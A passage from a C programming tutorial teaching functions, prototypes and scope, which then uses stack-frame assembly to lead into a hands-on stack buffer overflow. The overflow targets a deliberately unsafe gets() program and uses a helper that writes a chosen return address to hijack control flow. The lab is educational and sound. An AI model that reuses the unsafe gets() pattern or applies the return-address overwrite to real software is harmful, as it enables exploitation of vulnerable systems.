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Goals: 
 
At the end of Part IV, you should be able to competently code with functions. 
 

Review: 
 
Please ensure you understand the following terms: 
 

 If 
 Else 
 Switch / Case 
 The ? operator 

 
If you are unsure of any of these terms, go back and review Part IV now. 
 

Functions: 
 
Functions in C are an integral part of coding.  They allow a programmer to code 
a routine once, and use it often.  Why not look at an example.  Don’t worry about 
the details yet, just peek at the idea: 
 

#include <stdio.h> 
 
float average(float x, float y) { 
        float z; 
        z = (x + y) / 2; /* The average */ 
        return z; 
} 
 
int main() { 
 
        float a, b, c; 
        a = 1; 
        b = 3; 
        c = average(a, b); 
        printf("The average of %f and %f is %f.\n",  a, b, c); 
 
        a = 6; 
        b = 34; 
        c = average(a, b); 
        printf("The average of %f and %f is %f.\n",  a, b, c); 
 
} 

 
Copy / type and compile the code above.  The main program calculates two 
averages of the floats a & b.  It uses a function called average() (original name, I 
know) to calculate the average of two floats.  It returns the average. 
 



Here is the format of a function, called the declaration: 
 
return_type   function_name(argument types and names) 
 
return_type - This is the type that the function will return.  Our function above 
returned a float.  
 
function_name - Just like it sounds.  Make a name for your function.  Ours above 
was “average”. 
 
argument types and names - These are the pieces of information, or arguments, 
that our function will use to do its tasks. 
 
After the declaration, the function code is enclosed in braces.  A function is a set 
of commands and instructions designed to perform as task, or tasks.  Functions 
can be given information and can return information.   
 
Here’s some examples and how to read them: 
 

int foo(char bar); 

 
A function named ‘foo’ takes a variable of type ‘char’ as an argument.  The char 
is called ‘bar’.  Foo returns an integer. 
 

float me(int love, int pump); 

 
A function named ‘me’ takes two integers as arguments; love & pump.  It returns 
a float. 
 

unsigned char* jimbo(char* string, int *number); 

 
A function named jimbo takes a pointer to a character and a pointer to a number 
as arguments and returns a pointer to an unsigned character.  (Phew - Don’t 
worry about the “pointers” and things yet.  Just wanted to show that the list can 
be comprehensive). 
 
For now, understand how to read the function declaration.  Go and read again to 
make sure. 
 
Here’s an interesting one: 
 

int main(int argc, char *argv[]); 

 



Looks familiar.  A function named main takes an integer and a pointer to an 
array of characters as arguments and returns an integer.  Wait a sec?  Main is a 
function? 
 
Yes, main() is a function like any other, however it has one special property.  It is 
the function called by the Operating System when your code is executed.  Above 
is the proper prototype for main.  We have been “lazy” in our code so far just 
using: 
 

int main() 

 
We will not be so lazy from now forward. 
 

int main(int argc, char *argv[]) 

 

Function Use: 
 
So now that we can read a declaration, how do we use the thing.  Lets refer back 
to the code example from the beginning and our lowly function: 
 

float average(float x, float y) { 
        float z; 
        z = (x + y) / 2; /* The average */ 
        return z; 
} 

 
We can now read the first line.  A function named ‘average’ takes two floats as 
arguments; x & y and returns a float.  x & y are passed to us by the code that 
calls the function.   
 
The first thing our function does is declare a new float, z.  The next line does the 
math.  Add our two floats, x & y together and divides by 2.  That’s the average, 
and it’s assigned to our new float z.  The final line says:  
 

return z; 

 
We said earlier our function “returns a float”.  Well this is where that happens.  
the value of z is passed back to the calling section of code.  Consider it a 
conversation between two pieces of code.  You tell me x and y.  I’ll tell you the 
average. 
 
If we look in the “calling” code from our example above, we see the function is 
used in this line: 
 

        c = average(a, b); 



c equals the return value of function average with arguments a and b.  So the 
value of z gets returned and c gets the value.  Notice that a & b don’t require 
types in front of them.  The compiler already knows that average gets two floats.  
If you modify the code to change ‘b’ to a ‘char’, you will see the compilers 
reaction to a “type mismatch”. 
 
So if we return z and use c = average…, why can’t we just do this in main: 
 

average(a,b); 
printf(“Average %f”, z); 

 
Should work right?  We created a float ‘z’ in our function, so why can’t we just 
use it if it already has the answer in it?  If you wish, try the code above and see.  
It won’t work. 
 
Why won’t it work?  Because of a very important concept in C.  Scope. 
 

Scope: 
 
No, not the mouthwash.  It means: 
 

The area covered by a given activity or subject. Synonym: Range. 
 

So what does scope, or range, mean in terms of variables in C.  Variables in C are 
not automatically available everywhere in your code once you declare them.  
This is a good thing.  We could soon run out of variables if we couldn’t use the 
same ones in different code (Think of our famous counter ‘i’.  It is everywhere). 
 
Variables have the scope of the section of code in which they were created.  
Yikes.  That’s a mouthful.  As you have seen so far, sections of code in C are 
broken up, or delimited, by curvy braces { }.  Even ‘main’ is enclosed in curvy 
braces (have a look).  When you declare a variable it is only “in scope” within the 
braces it was declared within.  Maybe an example can help: 
 
#include <stdio.h> 
int main(int argc, char *argv[]) {  /* Opening brac es for main */ 
        int x, y; 
        x = 0; 
        y = 2; 
        while(x < 5) 
        {               /* New braces for while */ 
                int z; 
                z = x + y; 
                printf("z = %d \n", z); 
                x++; 
        }               /* Close braces for while * / 
}       /* Close of main */ 



After a careful read of the code, we see that it will loop while x is less than five, 
printing out z every time.  z will equal x + y (or x + 2) every time.  The output is 
not surprising to us: 
 

-sh-2.05b$ make scope 
cc     scope.c   -o scope 
-sh-2.05b$ ./scope 
z = 2 
z = 3 
z = 4 
z = 5 
z = 6 

 
Lets change it slightly to see what ‘z’ equals after the while loop.  It should be 6 
right? 
 
 

#include <stdio.h> 
int main(int argc, char *argv[]) { /* Opening brace s for main */ 
 
        int x, y; 
        x = 0; 
        y = 2; 
        while(x < 5) 
        {               /* New braces for while */ 
                int z; 
                z = x + y; 
                printf("z = %d \n", z); 
                x++; 
        }               /* Close braces for while * / 
        printf("After while, z = %d \n", z);  
    
}       /* Close of main */ 

 
The new code is in bold.  We added a printf to show us the value of ‘z’ after the 
while loop.  Let’s compile it: 
 

-sh-2.05b$ gcc scope.c -o scope 
scope.c: In function `main': 
scope.c:16: error: `z' undeclared (first use in thi s function) 
scope.c:16: error: (Each undeclared identifier is r eported only 
once 
scope.c:16: error: for each function it appears in. ) 

 
We have an error in line 16.  ‘z’ is undeclared?  But we declared it, didn’t we?  
Yes we did, but after we go outside the closing braces for while, our ‘z’ goes “out 
of scope”.  This is a very important concept in C. (Note - main was referred to as a 
‘function’ by the compiler in the error message above). 
 
‘x’ and ‘y’ have scope over all of main().  ‘z’ only is in scope in the while loop. 



Back to our function example, ‘z’ is in scope only inside the function average().  
Outside of average, that ‘z’ doesn’t exist.  The ‘value’ of z is passed back to our 
calling code by the ‘return z;’ statement. 
 
Scope has another important impact on function use.  You notice in our code 
above that we put the function above main().  You will not usually see this.  I 
(and a lot of people) consider it good form to put main as the first piece of code.  
Let’s make the change: 
 
#include <stdio.h> 
 
int main() { 
        float a, b, c; 
        a = 1; 
        b = 3; 
        c = average(a, b); 
        printf("The average of %f and %f is %f.\n",  a, b, c); 
 
        a = 6; 
        b = 34; 
        c = average(a, b); 
        printf("The average of %f and %f is %f.\n",  a, b, c); 
 
} 
 
float average(float x, float y) { 
 
        float z; 
        z = (x + y) / 2; /* The average */ 
        return z; 
} 

 
Compile it and… 
 
-sh-2.05b$ gcc average.c -o average 
average.c:18: warning: type mismatch with previous implicit declaration 
average.c:8: warning: previous implicit declaration  of `average' 
average.c:18: warning: `average' was previously imp licitly declared to 
return `int' 

 
Yuck.  What happened.  It depends on your compiler.  The function average is 
undefined in main because while in main(), the compiler has yet to see it.  
Remember, it’s now at the end of our code.  In this case, gcc has made some 
assumptions about arguments and return values of average, but when it reached 
line 18 (our function) it found the assumptions to be wrong.  How do we avoid 
this?  Function prototyping is the answer.  Add the following line after your 
#include, but before your main: 
 

float average(float x, float y); 

 



This line is called a function prototype.  It tells the compiler (and coders for that 
matter) the interface to the function.  It has no function body (code).  A prototype 
can be recognized by the ; right after the arguments.  It tells the compiler that 
there is a function called argument defined somewhere else in our code.  In this 
case, it is found later in average.c 
 
In larger compilations, the function prototypes are put in header files.  Header 
files have an .h extension.  If we wanted to publish our uber function and allow 
others to include it, we could create a file called average.h: 
 

float average(float x, float y); 

 
Now, with some compiling beyond the scope of this section, we could distribute 
our cool application around the world!  Well, maybe not.  This is an important 
point to understand.  If we look at our average code, we use the line: 
 

#include <stdio.h> 

 
Now we can discuss why.  The prototypes for the functions printf and scanf 
(among others) can be found in stdio.h.  It tells the compiler to look in stdio.h for 
functions we are using in our code!  Opening stdio.h, we find this: 
 

extern int printf (__const char *__restrict __forma t, ...); 

 
There it is, the prototype for printf.  Cool.  Some of the argument types are 
advanced, so don’t get frightened.  Just an example of a function prototype. 
 

Function Flow: 
 
An important concept to a hacker is program flow in function calls and returns.  
We will modify (shorten) our code slightly and draw some flow type charts to 
see the method of execution: 



 
 
#include <stdio.h> 
 
float average(float x, float y); 
 
int main() { 
 
 
        float a, b, c; 
        a = 1; 
        b = 3; 
        c = average(a, b); 
        printf("The average of %f and %f is %f.\n",  a, b, c); 
} 
 
float average(float x, float y) { 
 
        float z; 
        z = (x + y) / 2; /* The average */ 
        return z; 
} 

 
If we look at the code, executions continues until we reach the function call.  At 
that point execution is handed to the function.  Function executes, then returns 
execution back to the calling code. 
 
That seems easy, but as a hacker it’s important that we know what’s really 
happening.  The execution jump and passing of data back and forth is of great 
importance to the hacker.  It is the essence of the buffer overflow exploit.  Let’s 
dig in. 
 
Take a look at a section of the generated assembly code of our program (The full 
portion of important executable is listed in Appendix A): 
 

0x08048390 <main+32>:   sub    $0x8,%esp 
0x08048393 <main+35>:   pushl  0xfffffff8(%ebp) 
0x08048396 <main+38>:   pushl  0xfffffffc(%ebp) 
0x08048399 <main+41>:   call   0x80483d4 <average> 

 

Recall the operation of the EIP register.  The Extended Instruction Pointer.  It 
points at the memory to be executed by the CPU.  Our code snippet above starts 
at memory address 8048390.  The command there subtracts 8 from the ESP 
register: 
 

0x08048390 <main+32>:   sub    $0x8,%esp 
 

In Part I we learned that the ESP register is the Stack Pointer.  Let’s refresh that 
topic (re-read the section in Part I on The Stack).  ESP points to the “top” of your 



stack of papers.  In the x86 architecture, the stack builds down, so it points to the 
“bottom” of the stack.  If we subtract 8, we make room for 8 bytes (two words) 
on the stack.  Funny enough this is enough room for our 2 floats, x & y.  The next 
two lines of code are: 
 

0x08048393 <main+35>:   pushl  0xfffffff8(%ebp) 
0x08048396 <main+38>:   pushl  0xfffffffc(%ebp) 

 

pushl pushes a word  on to the stack.  Here, it pushes two words.  The two 
words are our variables, x & y.  They get pushed on to the stack.   
 
The next line is: 
 

0x08048399 <main+41>:   call   0x80483d4 <average> 
 

This is the actual function call to ‘average’ (see the symbolic name).  Our function 
is located at memory address 80483d4.  If we recap, the CPU did the following: 
 

1. Made room on the stack for the function arguments. 
2. Pushed the arguments on to the stack. 
3. Called our function (transfer execution to 80483d4). 

 
To transfer execution, the CPU loads the memory address in the ‘call’ into EIP.  
But how does it remember where it called from?  When the function returns, we 
need to know where to come back to.  ‘Call’ actually does something in the 
background.  It pushes the value in EIP on to the stack before it transfers 
execution.  Understand this concept.  It does it “silently” in the background prior 
to loading EIP with the new value.  If we look at the code again, and include a 
little more: 
 

0x08048390 <main+32>:   sub    $0x8,%esp 
0x08048393 <main+35>:   pushl  0xfffffff8(%ebp) 
0x08048396 <main+38>:   pushl  0xfffffffc(%ebp) 
0x08048399 <main+41>:   call   0x80483d4 <average> 
0x0804839e <main+46>:   add    $0x10,%esp 

 

After the call, the next command is at memory address 804839e.  That is the value 
that will be pushed on the stack, so the CPU can “remember” where it came 
from. 



Lets take a snapshot of the stack right as we enter our function average: 
 

Relative Address Size Bytes (Words) Info 

ESP 4 (1) Return address, 804839e 

ESP + 4 4 (1) Float b, 3  

ESP + 8 4 (1) Float a, 1 

 
The stack pointer is used regularly by the code in our program.  The CPU also 
keeps a “baseline” of where the stack started.  This is called EBP or the Base 
Pointer.  It is used in sections of code to keep track of the beginning of the stack. 
 
When we enter our function, the first thing that happens is this: 
 

0x080483d4 <average+0>: push   %ebp 
0x080483d5 <average+1>: mov    %esp,%ebp 
0x080483d7 <average+3>: sub    $0x8,%esp 

 

The base pointer used in main is pushed on to the stack.  ESP is copied into EBP.  
The value in ESP becomes our Base Pointer for the function average.  Now, the 
beginning of average’s stack is right at the old Base Pointer.  Lets see the stack 
again now: 
 

Relative Address Size Bytes (Words) Info 

ESP 4 (1) Old Base Pointer 

ESP + 4 4 (1) Return address, 804839e 

ESP + 8 4 (1) Float b, 3  

ESP + 12 4 (1) Float a, 1 

 
The function performs it’s floating point magic and encounters this code: 
 

0x080483f4 <average+32>:        leave 
0x080483f5 <average+33>:        ret 
 

The leave command moves the Base Pointer in to the Stack Pointer, then “pops” 
the old Base Pointer from the stack.  The next command, ‘ret’ pops the return 
address from the stack and loads it into EIP.  That causes execution to return to 
where we left main above. 
 
So, why this long, assembly riddled explanation of functions.   {Play evil music 
here}.  Look at this code: 



#include <stdio.h> 
 
int oops() { 
        char buf[4]; 
        gets(buf); 
        return 1; 
} 
 
int main(int argc, char *argv[]) { 
 
        if(oops()) 
        { 
                printf("Buf done OK.\n"); 
                return 0; 
        } 
        printf("This should never print\n"); 
} 

 
The code is self explanatory.  Main calls the function ‘oops’ from an if statement.  
The if will always be ‘true’ because oops always returns ‘1’, therefore the last 
printf should never execute.  Oops creates a char array called ‘buf’, then takes 
input from gets (Get string) into buf.  No problem, right? 
 
Let’s analyze the stack as we run this program and see what happens when we 
call oops.  Here is ‘main’ in assembly: 
 

0x080483c0 <main+0>:    push   %ebp 
0x080483c1 <main+1>:    mov    %esp,%ebp 
0x080483c3 <main+3>:    sub    $0x8,%esp 
0x080483c6 <main+6>:    and    $0xfffffff0,%esp 
0x080483c9 <main+9>:    mov    $0x0,%eax 
0x080483ce <main+14>:   sub    %eax,%esp 
0x080483d0 <main+16>:   call   0x80483a4 <oops> 
0x080483d5 <main+21>:   test   %eax,%eax 
0x080483d7 <main+23>:   je     0x80483f2 <main+50> 
0x080483d9 <main+25>:   sub    $0xc,%esp 
0x080483dc <main+28>:   push   $0x80484dc 
0x080483e1 <main+33>:   call   0x80482e4 <_init+72>  
0x080483e6 <main+38>:   add    $0x10,%esp 
0x080483e9 <main+41>:   movl   $0x0,0xfffffffc(%ebp ) 
0x080483f0 <main+48>:   jmp    0x8048402 <main+66> 
0x080483f2 <main+50>:   sub    $0xc,%esp 
0x080483f5 <main+53>:   push   $0x80484ea 
0x080483fa <main+58>:   call   0x80482e4 <_init+72>  
0x080483ff <main+63>:   add    $0x10,%esp 
0x08048402 <main+66>:   mov    0xfffffffc(%ebp),%ea x 
0x08048405 <main+69>:   leave 
0x08048406 <main+70>:   ret 

 
So when we reach our call at <main+16>, there are no arguments for our 
function, so we just execute the call.  ‘Call’ pushes the return address to the stack, 
then transfers control to oops (at 80483a4). 



 
 
 

Relative 
Address 

Size Bytes 
(Words) 

Info 

ESP 4 (1) Return address, 0x080483d5 <main+21>  

 
Now we enter ‘oops’. 
 
0x080483db <spill+0>:   push   %ebp  << push old base pointer  
0x080483dc <spill+1>:   mov    %esp,%ebp << set new base pointer  
0x080483de <spill+3>:   sub    $0x8,%esp << make room for our buf  

 
… 
 
 
The first thing that happens always happens.  The old Base Pointer is pushed on 
to the stack.  The new Base Pointer is set to the current Stack Pointer.  Then some 
room is made for some local variables (sub $0x8, %esp).   Our ‘buf’ will be in 
there (the first 4 bytes). 
 
So here’s the stack now: 
 

Relative 
Address 

Size Bytes 
(Words) 

Info 

ESP 4 (1) Our buf[4] 

ESP + 4 4 (1) Old Base Pointer 

ESP + 8 4 (1) Return address, 0x080483d5 <main+21>  

 
So, it appears that we have everything in order.  Compile the code above.  You 
will get a warning about gets() being dangerous and we are about to see why.  
Run the code.  When the prompt comes up, enter AAA. 
 

-sh-2.05b$ ./buf 
AAA 
Buf done OK. 
 

Looks Ok.  Try entering 5 A’s. 
 

-sh-2.05b$ ./buf 
AAAAA 
Buf done OK. 
Segmentation fault 

 



Hmm.  That’s not good.  A segmentation fault is your code “barfing”.  Lets try 
and see what’s happening with our trusty debugger gdb. 

AAAAA 
Buf done OK. 
 
Program received signal SIGSEGV, Segmentation fault . 
0x080483e9 in main () 
(gdb) inf reg 
eax            0xd      13 
ecx            0xb0a680 11576960 
edx            0xd      13 
ebx            0xb09ffc 11575292 
esp            0xfef06be0       0xfef06be0 
ebp            0xfef00041       0xfef00041 
esi            0x1      1 
edi            0xb0c0fc 11583740 
eip            0x80483e9        0x80483e9 
eflags         0x10282  66178 
cs             0x73     115 
ss             0x7b     123 
ds             0x7b     123 
es             0x7b     123 
fs             0x0      0 
gs             0x33     51 

 
 
Here is the output after typing 5 A’s in the debugger.  Something interesting in 
ebp register.  Lets try 6 A’s: 
 
AAAAAA 
Buf done OK. 
 
Program received signal SIGSEGV, Segmentation fault . 
0x080483e9 in main () 
(gdb) inf reg 
eax            0xd      13 
ecx            0xb0a680 11576960 
edx            0xd      13 
ebx            0xb09ffc 11575292 
esp            0xfee633c0       0xfee633c0 
ebp            0xfe004141       0xfe004141 
esi            0x1      1 
edi            0xb0c0fc 11583740 
eip            0x80483e9        0x80483e9 
eflags         0x10286  66182 
cs             0x73     115 
ss             0x7b     123 
ds             0x7b     123 
es             0x7b     123 
fs             0x0      0 
gs             0x33     51 

 



Look at ebp again.  Above, the last two digits were 41.  Now the last four digits 
are 4141.  Hmm.  Did you know that 41 is the hex ASCII code for ‘A’.  Lets try 8 
A’s 
 
 
AAAAAAAA 
 
Program received signal SIGSEGV, Segmentation fault . 
0x08048301 in _start () 
(gdb) inf reg 
eax            0x1      1 
ecx            0x0      0 
edx            0xb0b714 11581204 
ebx            0xb09ffc 11575292 
esp            0xfef2795c       0xfef2795c 
ebp            0x41414141       0x41414141 
esi            0x1      1 
edi            0xb0c0fc 11583740 
eip            0x8048301        0x8048301 
eflags         0x10286  66182 
cs             0x73     115 
ss             0x7b     123 
ds             0x7b     123 
es             0x7b     123 
fs             0x0      0 
gs             0x33     51 

 
Look at the Base Pointer - 41414141.  Our A’s have smashed over the ebp.  What 
happened?  Look at our stack map again: 
 

Relative 
Address 

Size Bytes 
(Words) 

Info 

ESP 4 (1) Our buf[4] 

ESP + 4 4 (1) Old Base Pointer 

ESP + 8 4 (1) Return address, 0x080483d5 <main+21>  

 
Our char buf is only 4 characters long.  gets does not check bounds, and will take 
any input you give to it.  In the last case it wrote 8 A’s to our buf starting at the 
ESP.  Well, as you can see, 8 bytes also writes right over top of the saved “Old 
Base Pointer”. 
 
What if we wrote more than 8 bytes into the buf?  We could overwrite the next 
stack entry, which is our saved return address.  If we did that, we could return 
anywhere we wanted!  Hmmm.  We can’t type the address at the prompt.  We 
need something else.  What if we made a program to output our desired return 
address, then redirected the output to our program? 
 
 



Take a look: 
 

int main(int argc, char *argv[]) { 
 
        int i = 0; 
        char buf[12]; 
        for (i = 0;i <= 8; i+=4) 
        *(long *) &buf[i] = 0x80483f2; 
        puts(buf); 
} 

 
This code creates a buffer and fills it with hex 0x80483f2 repeating.  It outputs 
this string.  Compile and run it.  The output will be garbage, as these characters 
cannot be displayed properly.  Why are we using 0x80483f2?  By looking at the 
assembly code from main above, I know from experience that the second printf 
call (The one that will never run) starts there (Note - this may be different on 
your machine - Look at the command at 80483f2.  Find it in your code and 
substitute the number).  If we are successful in our little experiment here, the 
input to our function oops should not only overwrite the ebp, it should overwrite 
the return value as well.  When the code goes to return, it should return to our 
“This should never print” printf.  Lets do it! 
 
Here’s my result of piping the output of one (trick) into buf: 
 

-sh-2.05b$ (./trick;cat)|./buf 
This should never print 
 
Segmentation fault 

 
It should never print, but it did.  That is a buffer overflow, and we exploited it. 
 
That’s a lot for now.  As an exercise, browse the source code you have available 
and on the net to see function usage.  Look at some of the headers in 
/usr/include for header files. 
 

Next: 
 
Pointers and Structures  
 
 
 
 
 



Appendix A, Important Sections of “Average” Assembly Code. 
 
08048370 <main>: 
 8048370:       55                      push   %ebp  
 8048371:       89 e5                   mov    %esp ,%ebp 
 8048373:       83 ec 18                sub    $0x1 8,%esp 
 8048376:       83 e4 f0                and    $0xf ffffff0,%esp 
 8048379:       b8 00 00 00 00          mov    $0x0 ,%eax 
 804837e:       29 c4                   sub    %eax ,%esp 
 8048380:       b8 00 00 80 3f          mov    $0x3 f800000,%eax 
 8048385:       89 45 fc                mov    %eax ,0xfffffffc(%ebp) 
 8048388:       b8 00 00 40 40          mov    $0x4 0400000,%eax 
 804838d:       89 45 f8                mov    %eax ,0xfffffff8(%ebp) 
 8048390:       83 ec 08                sub    $0x8 ,%esp 
 8048393:       ff 75 f8                pushl  0xff fffff8(%ebp) 
 8048396:       ff 75 fc                pushl  0xff fffffc(%ebp) 
 8048399:       e8 36 00 00 00          call   8048 3d4 <average> 
 804839e:       83 c4 10                add    $0x1 0,%esp 
 80483a1:       d9 5d f4                fstps  0xff fffff4(%ebp) 
 80483a4:       83 ec 04                sub    $0x4 ,%esp 
 80483a7:       d9 45 f4                flds   0xff fffff4(%ebp) 
 80483aa:       8d 64 24 f8             lea    0xff fffff8(%esp),%esp 
 80483ae:       dd 1c 24                fstpl  (%es p) 
 80483b1:       d9 45 f8                flds   0xff fffff8(%ebp) 
 80483b4:       8d 64 24 f8             lea    0xff fffff8(%esp),%esp 
 80483b8:       dd 1c 24                fstpl  (%es p) 
 80483bb:       d9 45 fc                flds   0xff fffffc(%ebp) 
 80483be:       8d 64 24 f8             lea    0xff fffff8(%esp),%esp 
 80483c2:       dd 1c 24                fstpl  (%es p) 
 80483c5:       68 cc 84 04 08          push   $0x8 0484cc 
 80483ca:       e8 e1 fe ff ff          call   8048 2b0 <printf@plt> 
 80483cf:       83 c4 20                add    $0x2 0,%esp 
 80483d2:       c9                      leave 
 80483d3:       c3                      ret 
 
080483d4 <average>: 
 80483d4:       55                      push   %ebp  
 80483d5:       89 e5                   mov    %esp ,%ebp 
 80483d7:       83 ec 08                sub    $0x8 ,%esp 
 80483da:       d9 45 08                flds   0x8( %ebp) 
 80483dd:       d8 45 0c                fadds  0xc( %ebp) 
 80483e0:       d9 05 f0 84 04 08       flds   0x80 484f0 
 80483e6:       de f9                   fdivrp %st, %st(1) 
 80483e8:       d9 5d fc                fstps  0xff fffffc(%ebp) 
 80483eb:       8b 45 fc                mov    0xff fffffc(%ebp),%eax 
 80483ee:       89 45 f8                mov    %eax ,0xfffffff8(%ebp) 
 80483f1:       d9 45 f8                flds   0xff fffff8(%ebp) 
 80483f4:       c9                      leave 
 80483f5:       c3                      ret 
 80483f6:       90                      nop 
 80483f7:       90                      nop 

 


